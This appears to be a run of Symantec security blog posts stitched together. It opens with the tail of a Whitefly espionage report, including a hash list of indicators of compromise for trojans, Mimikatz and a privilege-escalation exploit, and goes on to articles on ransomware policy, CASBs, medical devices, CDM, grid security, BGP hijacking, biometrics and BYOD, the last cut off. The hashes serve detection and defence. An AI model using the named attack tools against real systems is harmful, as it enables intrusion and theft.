While Vcrodat is delivered via the malicious dropper, we have yet to discover how Nibatad is delivered to the infected computer. Why Whitefly uses these two different loaders in some of its attacks remains unknown. And while we have found both Vcrodat and Nibatad inside individual victim organizations, we have not found any evidence of them being used simultaneously on a single computer.
Links to other attacks
Some of the tools that Whitefly has used in its attacks have also been deployed in other targeted attacks outside Singapore.
Between May 2017 and December 2018, a multi-purpose command tool (SHA2: 7de8b8b314f2d2fb54f8f8ad4bba435e8fc58b894b1680e5028c90c0a524ccd9) that has been used by Whitefly was also used in attacks against defense, telecoms, and energy targets in Southeast Asia and Russia. The tool appears to be custom-built and, aside from its use by Whitefly, these were the only other attacks where Symantec has observed its use.
In another case, Vcrodat was also used in an attack on a UK-based organization in the hospitality sector.
It's possible Whitefly itself performed these attacks but it’s more likely that they were carried out by one or more other groups with access to the same tools.
Adept attackers with a large toolset
It now appears that the SingHealth breach was not a one-off attack and was instead part of a wider pattern of attacks against organizations in the region. Whitefly is a highly adept group with a large arsenal of tools at its disposal, capable of penetrating targeted organizations and maintaining a long-term presence on their networks. Links with attacks in other regions also present the possibility that it may be part of a broader intelligence gathering operation.
Protection/Mitigation
Symantec has the following protection in place to protect customers against these attacks:
File-based protection
Trojan.Vcrodat
Trojan.Nibatad
Hacktool.Rootkit
Hacktool.Mimikatz
Indicators of Compromise
MD5 SHA2 Description
eab0a521aa7cac62d98d78ef845a8319 a196dfe4ef7d422aadf1709b12511ae82cb96aad030422b00a9c91fb60a12f17 Trojan.Vcrodat
79bef92272c7d1c6236a03c26a0804cc d784a12fec628860433c28caa353bb52923f39d072437393629039fa4b2ec8ad Trojan.Vcrodat
394df628b3c8977661c8bebea593e148 6e874ac92c7061300b402dc616a1095fa7d13c8a18c8a3ea5b30ffa832a7372c Trojan.Nibatad
51862c3615e2f8a807b1d59f3aef3507 ed3cd71eaca603a00e4c0804dc34d84dc38c6c1e1c1f43af0568fb162c44c995 DLL Shellcode Loader
b4a7049b90503534d494970851bdda62 9d9a6337c486738edf4e5d1790c023ba172ce9b039df1b7b9720ed4c4c9ade90 DLL Shellcode Loader
93c9310f3984d96f53f226f5177918c4ca78b2070d5843f08d2cf351e8c239d5 Mimikatz
263dc5a8121d20403beeeea452b6f33d51d41c6842d9d19919def1f1cb13226c CVE-2016-0051 privilege escalation
b2b2e900aa2e96ff44610032063012aa0435a47a5b416c384bd6e4e58a048ac9 Termite
dda22de8ad7d807cdac8c269b7e3b35a3021dcbff722b3d333f2a12d45d9908d Simple command line remote access tool
f562e9270098851dc716e3f17dbacc7f9e2f98f03ec5f1242b341baf1f7d544c Simple command line remote access tool
7de8b8b314f2d2fb54f8f8ad4bba435e8fc58b894b1680e5028c90c0a524ccd9 Multi-purpose command tool
|
White House Promises New Steps to Combat Ransomware Scourge
US to reach out to collaborate against transnational criminal groups. Administration also wants more answers from vendors selling technology to gov’t
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
The White House said today that it’s working on a global initiative to combat what an official described as a transnational threat from ransomware attackers. It also plans to hold vendors that do business with the government to more stringent security guidelines.
“Criminals use ransomware to target everything from individuals, utilities, hospitals, and large companies,” said Deputy National Security Advisor Anne Neuberger speaking on a webcast at the RSA Conference 2021. “Extortion through ransomware presents a national security threat for countries around the world because it can disrupt schools and hospitals and governments and companies’ abilities to deliver services. And because of the huge financial cost, it's concerning that ransomware often exploits known weaknesses.”
Neuberger, who did not release details about the Administration’s efforts, said the U.S. was committed to playing “a more active role on cyber internationally.” President Biden signed an executive order (EO) on May 12 to modernize U.S. defenses against cyber-attacks. The executive order was billed as “the first of many ambitious steps” the White House plans to modernize national cyber defenses.
The White House said today that it’s working on a global initiative to combat what an official described as a transnational threat from ransomware attackers.
“International cooperation to address ransomware is critically important because transnational criminals are most often the perpetrators of these crimes,” Neuberger said, expressing alarm about the growing sophistication of what she described as ransomware cartels. “And they often leverage global infrastructure and money laundering networks to do it.”
Neuberger also reinforced a message sounded by the Biden Administration that the U.S. needs to improve its cyber defenses. She published statistics estimating that the average company incurs a cost of $13 million per breach while globally, cyber crime cost 1% of total GDP in 2018.
“As a community we've accepted that we'll move from one incident response to the next and while we must acknowledge breaches will happen and prepare for them, we simply cannot let waiting for the next shoe to drop to be the status quo under which we operate. The national security implications of doing so are too grave,” she said. “Simply put, cyber security is not only a national security imperative, but an economic security imperative as well.”
She also said the U.S. government needed to face the “hard truth” that it’s also fallen short when it comes to cyber security. In the aftermath of the recent SolarWinds supply chain breach, Neuberger said the Administration was confronted by fact that basic cyber security prevention measures had not been systemically rolled out across federal agencies, mentioning the absence of MFA encryption, constant logging and endpoint detection as examples.
In the near term, Neuberger urged the technology industry to change its thinking about how best to approach computer security. “We have to shift our mindset from incident response to prevention and prioritize our investments to get ahead of threats and facilitate early detection,” according to Neuberger.
“The current model of build, sell, maybe patch, means the products the federal government buys often include defects and vulnerabilities,” she said. “That's not acceptable. It's knowingly introducing unknown – and potentially grave – risks that adversaries and criminals then exploit.
In the near term, Neuberger urged the technology industry to change its thinking about how best to approach computer security.
“Security has to be a basic design consideration,” she continued. “We'd never buy a car rushed to market knowing it could have potentially fatal defects that the manufacturer may or may not choose to issue a recall and fix. You wouldn't buy that car and decide later whether you want to install seat belts or airbags. But that's analogous to how today's software development model works.”
On the government side, she said the White House planned to begin taking “aggressive steps” to ensure that the software the government buys is built more securely from the start by potentially requiring federal vendors to develop software in a secure development environment.
“Our efforts will pay dividends outside of the federal government, because much of the software, the government buys is the same software that schools, small businesses, big businesses, and individuals buy,” she said. “The starting point for building more securely is where you build your software, which should be separate and a secure build environment. This includes things like using strong authentication, limiting privileges, and of course, encryption. It also includes knowing the provenance of the code you include in your bills and using modern tools to check for known and potential vulnerabilities.”
|
Why a CASB is Essential to any Cloud and Enterprise Security Strategy
CASB deployment is especially critical for government managers as they adopt a mix of cloud infrastructures to address the diverse needs of their missions
Federal IT managers are accelerating their migration of applications and data to the cloud, as they recognize that the cloud is critical for maintaining efficient operations and delivering improved citizen services in an increasingly digital world. The cloud has become the cornerstone of the federal government’s overall IT modernization strategy, providing a path for government managers to digitally transform their organizations, while phasing out older systems that have become too costly to maintain.
Consequently, government managers are adopting a mix of on-premise, hybrid and multiple cloud infrastructures to address the diverse needs of their missions. As a result, security is a challenge in these mixed environments, as IT and security operation teams struggle to maintain visibility and accountability across multiple infrastructures. This situation has spurred the need for an integrated cyber security approach that weaves cloud and on-premise systems into government organizations’ broader security strategies.
The rise of the Cloud Access Security Broker
Cloud Access Security Brokers (CASB) help agencies gain a point of control to unify security measures across on-premise and cloud infrastructures. By using a CASB, agencies can apply multiple layers of security to cloud services and High Value Assets (HVAs) from a single platform and extend on-premise security policies related to data loss prevention (DLP), encryption, access management, anomaly detection and behavior tracking, to the cloud.
In fact, by 2022, 60% of large enterprises will use a CASB to govern some cloud services, up from less than 20% today, according to Gartner. "Cloud access security brokers have become an essential element of any cloud security strategy, helping organizations govern the use of cloud and protect sensitive data in the cloud. Security and risk management leaders concerned about their organizations’ cloud use should investigate CASBs,” according to Gartner's 2018 Critical Capabilities for CASBs.
How CASBs Work
CASBs are deployed between an agency’s cloud application or HVA and the end user population, via a network gateway or API interface, providing visibility and control of the cloud service and data residing in the cloud. CASBs provide a comprehensive view of an agency’s cloud usage and risks – detecting those employees who are using cloud services that are not compliant with an agency’s security controls (a.k.a. Shadow IT).
With the move to the cloud and the proliferation of software-as-a-service applications that come along with it, as well as the trend toward Bring-Your-Own-Devices (BYOD), this opens doors for government employees to use cloud apps and services that do not comply with their organization’s security controls. More alarming, many security operations teams do not know how many of these unvetted cloud services are running in their environments.
A CASB solution provides an agency complete visibility into which applications are being utilized and who is using them, while preventing them from violating a security policy, either accidentally or deliberately. A CASB discovers Shadow IT by analyzing event logs from firewalls, proxies and other systems. To be effective, a CASB should monitor usage through intuitive dashboards and reports, as well as generate risk assessments on demand -- a key requirement for most compliance regulations.
A CASB solution provides an agency complete visibility into which applications are being utilized and who is using them, while preventing them from violating a security policy, either accidentally or deliberately.
As agencies attempt to gain better visibility and control of their critical information and where it resides in their infrastructure, both in the cloud and on-premise, a robust information protection strategy is critical with DLP solutions gaining in popularity. A CASB allows security teams to safeguard data in cloud apps with the same DLP policies, workflow and dashboard used for their endpoints, networks and data centers. For example, a CASB such as Symantec’s CloudSOC integrates Symantec’s DLP capability providing information protection and visibility across cloud, on-premise and end point via the same policy and dashboard.
File-level encryption is another capability CASBs can enhance, helping to secure data before it ever reaches the cloud. This allows organizations to automatically encrypt sensitive files in cloud apps and manage access to those files.
Down the Road
Agencies will step up migration to the cloud, especially with the emergence of new services based on technologies such as artificial intelligence, machine learning and advanced analytics. Many agencies are already reaping benefits, including rapid access to on-demand resources, automation of updates, business continuity, improved collaboration, reduced IT costs and scalability. As agency managers continue their journey into the cloud or multiple clouds, they will need CASBs to provide a deep level of visibility into cloud usage and risks, as well as to apply governance over cloud data, protect against threats and more easily ensure compliance.
To do this, agencies will require solutions built and validated to work on government networks. Symantec’s CASB and DLP solutions have received an “In Process” designation from the Federal Risk and Authorization Management Program (FedRAMP) under sponsorship of the Department of Homeland Security (DHS). An “In Process” designation indicates that Symantec is actively working on the documentation and controls required to achieve a FedRAMP authorization, and that DHS is reviewing the documentation with the intent to provide an Authority to Operate that meets the FedRAMP requirements. Agencies will soon have a FedRAMP authorized integrated cyber defense solution available to ensure their secure transition to the cloud.
|
Why a Medical Device Security Risk is a Patient Safety Risk
The task of keeping medical devices – and their users – safe from harm is getting more complicated as the industry seeks to navigate between conflicting priorities
First, do no harm. Traditionally, this is the primary tenet by which doctors work – patients and their safety and well-being are most important.
But as more processes become reliant on behind-the-scenes technology, physicians’ ethics and considerations can fall by the wayside through no fault of their own.
Within the last year and a half, hackers have held medical records hostage, infected devices with malware, caused the shutdown of dozens of hospitals in one sweep, and even turned a hospital’s computers into junk.
While the fundamentals of cyber security do exist in the healthcare industry, making it stronger is proving complicated. Protecting critical medical systems can run into obstacles that no other industry faces – particularly, patient privacy and safety. And only too often it is a tradeoff between conflicting priorities.
“A clinical risk vs. a security risk – which is bigger?” said Axel Wirth, a healthcare solutions architect with Symantec. “Neither patients nor physicians have had past experience with these types of security-based risk decisions.”
Protecting patient privacy has always been important because of the sensitivity of the information kept in medical records. The implementation of the Health Insurance Portability and Accountability Act (HIPAA), which created stricter standards for who had access to a patient’s information, made that issue a priority in the early 2000s; later laws required wider use of electronic records, adding to the need for stronger security.
That change pushed traditional cyber security further up the priority list. Now doctors in solo practice and CEOs of major hospital systems alike also must worry about keeping intruders out of their information, their networks and their devices. And they must approach the issue from multiple directions:
-- Implantable or wearable medical devices such as pacemakers or insulin pumps that can be programmed via external interfaces;
-- Medical equipment such as MRIs, X-ray machines or patient monitors that are directly connected to hospital networks;
-- Record-keeping systems such as electronic records or mobile workstations.
Given that the average 500-bed hospital alone may have as many as 7,500 medical devices and/or connected pieces of equipment, the scope of the challenge becomes clear – especially since patients are involved.
“Data protection solutions are often ill-suited to protect human life,” said Beau Woods of the grassroots cyber security group I Am the Cavalry and a Cyber Safety Innovation Fellow with the Atlantic Council. “You don’t want to lock the doctor out (of hacked equipment) while a patient needs help.”
Until recently, health care providers hadn’t worried too much about hacks. “We always hear, ‘No one would ever go after a hospital – there’s no money in it,’” Woods said.
Now, however, they’re getting caught up in broad scale attacks that hit a multiplicity of industries at once. For instance, the West Virginia hospital that had to scrap its computer system after the Petya ransomware attack earlier this year was on a list of affected businesses that included pharmaceutical giant Merck and the Danish shipper A.P. Moeller-Maersk.
“Everything we have seen so far with medical device hacks can be classified as collateral or incidental damage,” Wirth said. “(The target) fit the malware or the attacker’s profile – it’s not because they were looking for the medical device. It happened to be on the hospital network and it fit what the attacker was looking for.”
Along with a handful of lawmakers who have introduced legislation on the issue – among them Sen. Richard Blumenthal, D-Conn., and Sen. Mark Warner, D-Va., the Food and Drug Administration’s Center for Devices and Radiological Health is taking the lead on the issue, urging device makers to regularly update and patch their products.
In late 2016, the agency published guidelines for manufacturers to guide them through post-market changes “throughout the total product life cycle,” Dr. Suzanne Schwartz, the associate director for science and strategic partnerships at the center, wrote in the FDA’s official blog in October. “This includes closely monitoring devices already on the market for cyber security issues.”
I Am The Cavalry last year proposed a Hippocratic Oath for Connected Medical Devices that would apply to the entire medical community, a takeoff on the original “First, do no harm” Hippocratic oath.
“There are certain things the market side needs to start asking for and demanding,” Woods said. “But part of it is a time-scale problem – (manufacturers) haven’t had time” to develop and implement new security features leading to safer devices. It can take at least five years for a device to pass FDA muster and reach market, where it can stay for as long as 20 years, he added.
“You have a group of devices that are very compact and very critical from a function standpoint,” Wirth said. “It’s very difficult to add new features after the fact. You’re restrained by the design of the device. … This is not a problem that can be remedied quickly. If you didn’t design in security from the get-go, it’s difficult to retrofit it.”
The FDA has decided that manufacturers who have figured out how to upgrade security on devices don’t have to repeat the entire regulatory approval process, “but I would still need to retest and recertify the device, which is still a burden. It’s not trivial,” Wirth said.
If you are interested in this topic, Axel Wirth will be speaking at the HIMMS18 (Health Information and Management Systems Society) conference in March. Please find more information below:
http://www.himssconference.org/program/cybersecurity-forum
http://www.himssconference.org/session/intersection-patient-safety-and-medical-device-cybersecurity
|
Why Automation Will be Critical to CDM Success
The CDM program holds a lot of promise for federal agencies and automation is the key capability needed to ensure this happens
This past May, the departments of Commerce and Homeland Security reported that a shortage of federal cyber security workers continues to pose a daunting challenge that will only get worse. These findings were not surprising as the government as a whole is struggling with workforce and resource issues. But, they do indicate that the government needs to look at new approaches, especially when dealing with such a mission-critical issue as cyber security.
But even though the federal government continues to struggle to find people with needed technical skills, that does not mean agencies get a pass on implementing important cyber security initiatives. Perhaps the most notable cyber security program in place is the Department of Homeland Security’s Continuous Diagnostics and Mitigation Program, better known as CDM.
CDM calls on federal agencies to improve their cyber monitoring through four capabilities:
Capability 1: What is on the network?
Capability 2: Who is on the network?
Capability 3: What is happening on the network?
Capability 4: How is data protected?
Although most agencies have already progressed through the first two capabilities, as the program’s name suggests, the goal is not to simply monitor networks at one given time. The goal is to know in real-time what is occurring on the network.
And that is where the government’s cyber security workforce comes in. Even if agencies were 100 percent staffed, the tasks laid out in CDM would not be fully achievable. The answer lies in modern cyber security technologies, and that includes solutions that use automation and artificial intelligence to monitor networks, helping to take the human element out of every task. For example, incorporating automation into a CDM deployment can simplify the process of provisioning; provide analytic capabilities to scour logs; initiate updates; or any other task that requires manual intervention.
Benefits of Automation
In the past, federal agencies would have attempted to pursue a continuous monitoring strategy by purchasing disparate products and turning to teams of employees and consultants to conduct the monitoring and reporting. This is clearly not a viable option anymore. By integrating automation into the mix, agencies will benefit from the following:
Integration with existing security tools and threat intelligence sources
Faster response times to security events
A simplified investigation process
Minimization of the damage from attacks
Reduction in time spent reacting to false positives
Reduction of manual processes
Integration with IT operations tools
Cost savings
The CDM program holds a lot of promise for federal agencies. It has forced a number of federal agencies to invest in cyber security and to truly think about the state of their network. As agencies look to continue forward with CDM and other cyber security measures, they must realize that human reinforcements are not coming. Instead, they must look to advances in technology that can make the job of the cyber workforce that is in place much more efficient. Automation is the capability needed to ensure this happens.
If you found this information useful, you may also enjoy:
US-CERT: Continuous Diagnostics and Mitigation Program
|
Why Bad News Means Good News for Still-Vulnerable Power Grid
Despite mounting concerns about worst-case scenarios, warnings about the state of critical infrastructure to withstand attacks are leading to changes
The annual U.S. intelligence-community report published recently offered sobering conclusions for critical infrastructure.
Foreign powers now have "the ability to execute cyber attacks in the United States that generate localized, temporary disruptive effects" on facilities such as power grids and natural gas pipelines, according to the report, which predicts such disruptions could last from hours to weeks, depending on the target of the attack.
The warning followed "deepening revelations" regarding just how far the Dragonfly group of hackers, assumed by many to be linked with a nation-state, penetrated the U.S. power-grid network in 2017.
Yet there is a sliver of good news behind these mounting concerns. Experts say the bad news of the last several years is now driving progress that could be vital in mitigating, if not altogether evading, future risks.
"The energy industry has taken information about Dragonfly very seriously," said Symantec Technical Director of Security Response Vikram Thakur. "They are investing in security teams, are investing in creating redundancy for infrastructure, and are auditing the products and processes that they're using. They are taking huge strides in improving the security posture of their organizations."
Complex Topography, Complex Risks
The dangers presented by critical-infrastructure vulnerabilities have become increasingly clear in recent years. Most dramatically, successive hacking attacks on power systems in the Ukraine led to blackouts in December 2015 and 2016.
The most serious attack in the United States to date was the Dragonfly group's apparent efforts to map U.S. utility systems in 2017, largely by attacking vulnerable supply-chain partners and working upstream to the better-protected utilities. The sophisticated group used malicious emails, watering holes, and customized malware to gain network credentials and install backdoors in target computers.
Responses within the U.S. power system have accelerated since that time, shaped – and considerably complicated – by the grid's patchwork nature.
Geographically, the system is split between the high-voltage bulk power transmission system, which carries power over long distances, and the local distribution systems that provide power to homes and businesses.
The bulk system is federally regulated, with strong cyber security compliance rules developed by the North American Electric Reliability Corporation (NERC), a standards-setting body. An expansion adopted in October last year deals with supply-chain security standards – a clear effort to deal with some of the problems exposed in the Dragonfly attacks.
By contrast, local power-distribution systems are regulated at the state level. While a set of best practices for state regulators does exist, each body has its own set of rules, leaving room for potentially broad and in some cases poorly understood vulnerabilities.
"It is very hard to say whether [local distribution systems] have the same level of compliance as in the bulk power system," said Manimaran Govindarasu, an Iowa State University professor who studies power-grid cyber security. "The best practices are there, but there are definitely spots that are not secured to the extent they could be secured. They are definitely vulnerable."
From Legacy Systems to Tomorrow's Tech
As regulators and operators seek to mitigate vulnerabilities, risk assessment is a key initial task.
This approach assumes that some attacks will inevitably succeed. On this basis, scarce resources are allocated to protecting the most vital components of the system. Within local grids, this has also meant expanding redundancies that enable unaffected stations to take up slack if others are knocked offline.
Information-sharing programs, for instance through the NERC-affiliated Electricity Information Sharing and Analysis Center (E-ISAC), play a key role in keeping utilities aware of current threats. NERC also runs periodic wargames-style cyber attack simulations.
Separately, best practices increasingly call for integrating supply-chain partners such as fuel suppliers and meter data processers into utilities’ risk assessments, and for including cyber security provisions in procurement language.
From a technological perspective, experts say a multi-layered approach is necessary.
IT resources ranging from employee laptops to energy-market software systems can often be shielded with conventional digital-security tools. For example, Symantec provided protection against much of the malware known to be used by the Dragonfly group.
The industrial control systems (ICS) that directly monitor, and control utility operations are a more difficult proposition. The legacy hardware running such control systems often has little computational intelligence and is subject to conditions such as latency requirements that make ordinary IT-security software impractical.
Traditionally, such systems have been kept "air gapped," or physically cut off from networks, in order to keep them secure. However, the Stuxnet worm – which exploited propagation channels such as USB thumb drives to jump across such gaps – clearly exposed the flaws in such a defense.
Security companies today offer a variety of approaches to this problem, ranging from software that detects malware on USB devices to artificial-intelligence systems that compare current control-system sensor readings to past operating profiles, automatically triggering a response if anomalies are discovered.
Future systems, still in the test phases today, will reach even deeper to compare apparent sensor readings with the plausible underlying physics of the grid, offering another way to spot anomalies or manipulated sensor data.
Finally, the changing nature of power generation itself is complicating the problem further. As distributed renewable-resource generation systems multiply – sometimes even located at customer residences – new vulnerabilities are appearing.
For example, while an attack on a single solar panel might be of marginal danger, the successful hack of a manufacturer that pushes out automatic software updates could be vastly more damaging. Moreover, the sheer variety of new network-connected technologies, from smart meters to rooftop wind turbines, raises many of the unprotected-device dangers seen elsewhere with the internet of things (IoT).
"Owners may not have the same level of security as utilities do today," said Washington State University Assistant Professor Adam Hahn, who runs one of several university centers around the country that tests such technologies. "From a grid perspective, it's not really a significant risk yet. But in the future, it may be."
|
Why BGP Hijacking Remains a Security Scourge
Cyber criminals are stepping up their attacks against routing protocols, creating new problems for enterprise security
The last decade has been riddled with various high-profile malicious Border Gateway Protocol (BGP) hijack incidents. To name a few:
2011, a spammer hijacked several blocks of IP addresses from a defunct Russian ISP and used the stolen IP addresses to send spam emails.
2013, an anti-spam organisation, Spamhaus, suffered from a malicious BGP hijack incident, which temporarily rendered its blacklist services ineffective.
Recently, hackers have been seen abusing BGP to redirect crypto-currency users to a fake server allowing them to steal money from these users' virtual wallets.
Border Gateway Protocol is the routing protocol that allows autonomous systems like an Internet Service Provider, a company, or a university to talk to one another. The problem lies in the malware that takes advantage of the implicit trust these autonomous systems show each other.
BGP hijacking is an attack against the routing protocol. It takes control of blocks of IP addresses owned by a given organization without its authorization. The attacker has control then to perform underlying malicious activities (e.g., spamming, phishing, malware hosting) using hijacked IP addresses belonging to somebody else.
Using BGP hijacks, cyber criminals can impersonate their victims' IP identity. It is critical to detect such malicious activity. When a hijacker steals IP identity it can lead to misattributing other attacks, such as denial of service attacks, launched from hijacked networks. When an attack is not correctly attributed to the cyber criminals who launched it, any resulting legal action could be directed at an innocent organization.
Since 2012, when Symantec started monitoring these malicious attacks, more than 5.5k malicious BGP hijacks have been observed.
In addition to malicious intent, accidental BGP hijacks are known to occur regularly. They are generally attributed to misconfigurations on internal systems. A few cases have received public disclosure on network operational mailing lists, such as NANOG (North American Network Operators' Group), or blog posts. Techniques to detect these BGP hijacks have been proposed to help network operators monitor their own prefixes, allowing them to react quickly to possible outages.
In 2012, to assess the extent of the threat posed by BGP hijacks on the security of the Internet, Symantec Research Labs (SRL) developed SpamTracer, a tool specially designed for the large-scale study of malicious BGP hijacks. With SpamTracer, SRL collected and analyzed several years of BGP data, and combined it with various threat intelligence data. Over the last few years, SRL has observed a staggering increase to the number of BGP hijacks performed with malicious intent. For example, a 400% increase in the number of hijacks was observed between 2013 and 2014.
Between 2012 and 2014, SRL described in Symantec's annual Internet Security Threat Report (ISTR) various cases of BGP hijacks performed by spammers to avoid spam-sender blacklists. These findings were also reported to the community via major Internet operations conferences, such as RIPE and NANOG, that gather network operators from around the world to discuss Internet security and performance matters.
In 2015, SRL published an extensive study of over three years of data uncovering thousands of malicious BGP hijacks. Their observations include:
Hijacks are carried out in the form of stealthy, persistent, and large-scale campaigns.
Attackers were found to stealthily hijack properly registered but unannounced IP address space. In particular, one autonomous system was found to be involved in the hijack of a total of 793 IP address blocks over 16 months.
Using hijacked IP prefixes is an effective technique for defeating known protections like spam IP blacklists.
Many hijacked IP address blocks identified refer to organisations that no longer exist.
A large portion of hijacks exhibited no spam and are believed to serve as a moving infrastructure to host malicious servers.
Finally, evidence suggests that cyber criminals have developed automated tools to perform these campaigns of hijacks, which can last for months.
Since 2012, when Symantec started monitoring these malicious attacks, more than 5.5k malicious BGP hijacks have been observed.
Current approaches to detect BGP hijacks largely suffer from steep false-positive rates. They are also blind to the type of hijacks observed in the wild, such as hijacks of registered though unannounced IP address space. The complete deployment of BGPsec and RPKI-backed ROA’s (Route Origin Authorizations) would prevent these attacks. However, the RPKI deployment is hindered by its high implementation and operational cost. Additionally, the deployment of BGPsec is merely the beginning.
SRL suggest these ideas to help mitigate BGP hijacks:
BGP hijack detection systems should include signatures for hijacks based on the characteristics uncovered by SRL.
Announce all IP address blocks even if they are unused.
A worldwide hunt for orphan IP address blocks should be launched to prevent them from being hijacked and further used for malicious purposes.
IP address block owners that cease to exist or do not require the IP resources anymore need to return them.
Internet Routing Registries – a distributed database keeping track of Internet resource allocations – and RPKI data fresh is key to preventing hijacks of orphaned IP address space.
Autonomous systems identified as invalid or malicious in previous hijacks can be leveraged to identify future hijacks, or even block traffic from and to IP address blocks advertised through the malicious autonomous systems.
Symantec Research Labs can only offer their findings with the hope that autonomous system owners are listening. Unfortunately, adoption of BGP hijack prevention mechanisms is slow. Until BGP hijacks are taken seriously, a secure future for the Internet will remain a distant grail.
If you found this information useful, you may also enjoy:
Symantec 2018 Internet Security Threat Report (ISTR)
Understanding the BGP Capability Error Codes
|
Why Biometrics Are About to Put an End to Password-only Authentication
We’re on the cusp of a new era that will revolutionize the time-worn, all-too-porous password-only approach to authentication
We’re about to witness a death, and no one but the bad guys will wail. The end is nigh for password-only authentication, the anemically weak and long outdated, mainstay security measure that’s been a pox to consumers, companies, and governments.
What is going to deliver coup de grace? Biometrics.
No, fingerprints, facial, voice, iris, and even vein recognition won’t put an end to the myriad security threats we’ve suffered time and again. But teamed with other measures, this who-you-are technology’s time has arrived. In fact, the only reason biometrics aren’t in widespread use already, contends Brian Witten, the global director of Symantec Research Labs, is that organizations haven’t recognized how easy and inexpensive it is to deploy.
IT could use the help. Business users continue living in fear that their passwords and identity will be stolen, or that their IP will get put at risk. Even though ecommerce has burgeoned with advances in connection speeds, the cloud, and delivery logistics, few, if any, websites use biometrics - even as the occurrence of headline-grabbing data breaches continues unabated with a third of all businesses now having suffered security losses.
But several dynamics are converging that are expected to bring biometrics into widespread use.
Falling Obstacles
The most powerful among them is mobile. Before Apple introduced the first fingerprint reader with the iPhone 5s in 2013, biometric readers were expensive, standards were sparse, and systems rarely interoperable. Others quickly followed suit, including Samsung. As smartphone makers pressed the technology, they also created a secondary, salutary effect, shifting the cost to consumers, amortizing and lowering the financial barriers to deployment.
The tit-for-tat competition among smartphone makers has created a biometrics boom. By 2016, 40% of the 1 billion smartphones in the market came with biometric recognition; by 2020, it’s estimated that 100% of smart mobile devices will include embedded biometric sensors as a standard feature. Now that Apple and Samsung have introduced facial recognition to their flagship iPhone X and Galaxy 8S, it won’t be long before facial recognition becomes a staple, too.
Smartphones signal something even bigger and broader. The very nature of computing is changing, and that, too, spells the end of passwords, and perhaps even altogether.
“Roll the clock forward,” says Symantec’s Witten. “We’ll be wearing computers on our wrists and they’ll be in our glasses.”
Who knows where else they’ll reside. What we do know is this: We won’t be using keyboards to operate them. The logic is simple enough – no keyboards, no passwords.
Witten says one other wall to deployment is falling, too. Symantec has compiled several strong-authentication technologies into its cloud-based VIP service, which allows enterprises to use APIs to protect access to sensitive data and applications anytime, anywhere, from any devices. VISA International launched a similar service last October, called VISA ID Intelligence, aka VIDI, a “platform” that allows banks and merchants to adopt third-party authentication technologies using APIs and SDKs.
There are other signs that an inexorable move toward biometrics is on. Mastercard allowing its users to complete transactions by using a fingerprint and facial recognition is the form of a “selfie.” Aetna, the giant medical insurer, has disclosed plans to replace passwords completely by 2018, using pins, fingerprints, and “behavioral” biometrics, which adds a fourth tenet to authentication, namely what you do such as the way you move your mouse. Barclays Bank promises to take biometrics even further by using vein-ID, the uniquely characteristic ways your blood vessels are arranged, a means of authentication harder to “trick” than fingerprints or faces.
But the proof for widespread adoption comes out of India and its Aadhaar ID program, which has provided 1.3 billion of its citizens with a unique identifier based on fingerprint and iris scans. That’s helped pave the way for the vast majority of Indians to open bank accounts, even when they may not have a birth certificate or license.
Make no mistake. Biometrics, used as a sole method of authentication, is not to be viewed as a panacea. Hackers have reportedly demonstrated proof of concept examples of how to fool Apple’s facial recognition technology with a mask made on a 3D printer. Most of all, biometrics, by themselves, also breach two cardinal rules of strong authentication. One, they’re not secret. Two, they can’t be changed if compromised.
Finally, biometrics need to be considered against the practicalities of convenience and sheer computing power. For the sake of both, a smartphone holds just enough fingerprint data to assure a fast response and, more importantly, a one-in-10,000 chance of making a mistake, or, as security pros call them, a false-positive or false-negative. Those odds seem long – until you scale them. That means for every 1 billion fingerprints smartphones authenticate, a million could be wrong.
Despite any downsides, though, the use of biometrics is inevitable. Teamed with other authentication factors the technology promises a soon-to-arrive future where the time-worn, all-too-porous password-only approach to authentication will become a thing of the past.
“The bad guys have been ahead of passwords since the 1980s,” according to Symantec’s Witten. “You can’t stand still for 30 years without consequence.”
|
Why BYOD is Making a Comeback in the Business World
Users are not going to abide by the seemingly arbitrary security rules laid down by IT when it comes to accessing corporate data
(Editor’s Note: This guest column by Brian Egenrieder, CRO of SyncDog, is part of an occasional series on mobile security appearing here.)
When it comes to planning out enterprise security in a world increasingly dominated by mobile-savvy employees, even veteran CISOs have to navigate by trial and error, and new lessons are still being learned all the time.
Nowhere is that truer than when it comes to how security managers have scrambled to deal with the Bring Your Own Device (BYOD) phenomenon.
BYOD was a reaction to a demographic shift that burst upon the workplace when a couple of trends came together at around the same time. First, the technology world kept putting extraordinary computing power into the hands of anybody willing to pay the price for a new smartphone. Meanwhile, more Millennials were working or looking for jobs than either the Gen X or Boomer cohorts who preceded them, forcing organizations to deal with a decidedly unique generation when it came to technology.
The fact is that most users nowadays have greater expectations for what they should be able to do with their mobile devices.
Unlike previous generations of employees, who took whatever technology devices their company handed out, these more discriminating Millennials demanded a lot more. This generation, born after 1981 through 1996, understood the technical ins and outs of mobile devices long before starting their first jobs. The upshot: They came into jobs already knowing and appreciating the productive value of smartphones in their personal lives, and couldn’t accept less as they moved into the workforce.
But even if we acknowledge the extra challenge for people who knew smartphones, the challenge applies to a broader set of the population than simply Millennials. The fact is that most users nowadays have greater expectations for what they should be able to do with their mobile devices. They want greater simplicity in how they go about doing it and they accept security measures but expect them to be more seamless within the full user experience.
It also means that users are not going to abide by the seemingly arbitrary security rules laid down by IT when it comes to accessing corporate data. Many preferred to use their own private devices for work and increasingly insisted on that as a right, not a convenience. That soon presented security teams with a myriad of questions. Many organizations initially balked at the idea of allowing employees to utilize their own devices to pull data off the corporate cloud. Eventually, however, most got in line and dealt with it as a fact of life. In fact, more than 78% of US organizations said BYOD played a part in their operations last year. As far as security went, the default plan was to make sure the company included a mobile device management (MDM) solution to their BYOD plan and hope for the best.
You Want Me to Use THAT?
The primary alternative is to provide employees company owned and managed devices – but that approach is quickly losing its luster. It used to be that employees who owned older devices like Palm Pilot or Blackberry would react with delight when their bosses handed them a new iPhone 5. Nowadays, however, employees are often being handed corporate smartphones that lag beyond the mobile devices they own privately. Trust me when I say that their reaction is anything but delight.
The problem is cost. Companies understandably shy away from the thousand-dollar price tags attached to top-of-the-line mobile devices and make the calculation that their workers can still get by with something that’s good, but not necessarily state-of-the-art. Given the frequency of new product releases, companies typically need 2 to 3 years to amortize the cost. They’re not going to throw these devices away and will try to repurpose them by keeping them in circulation with their staff.
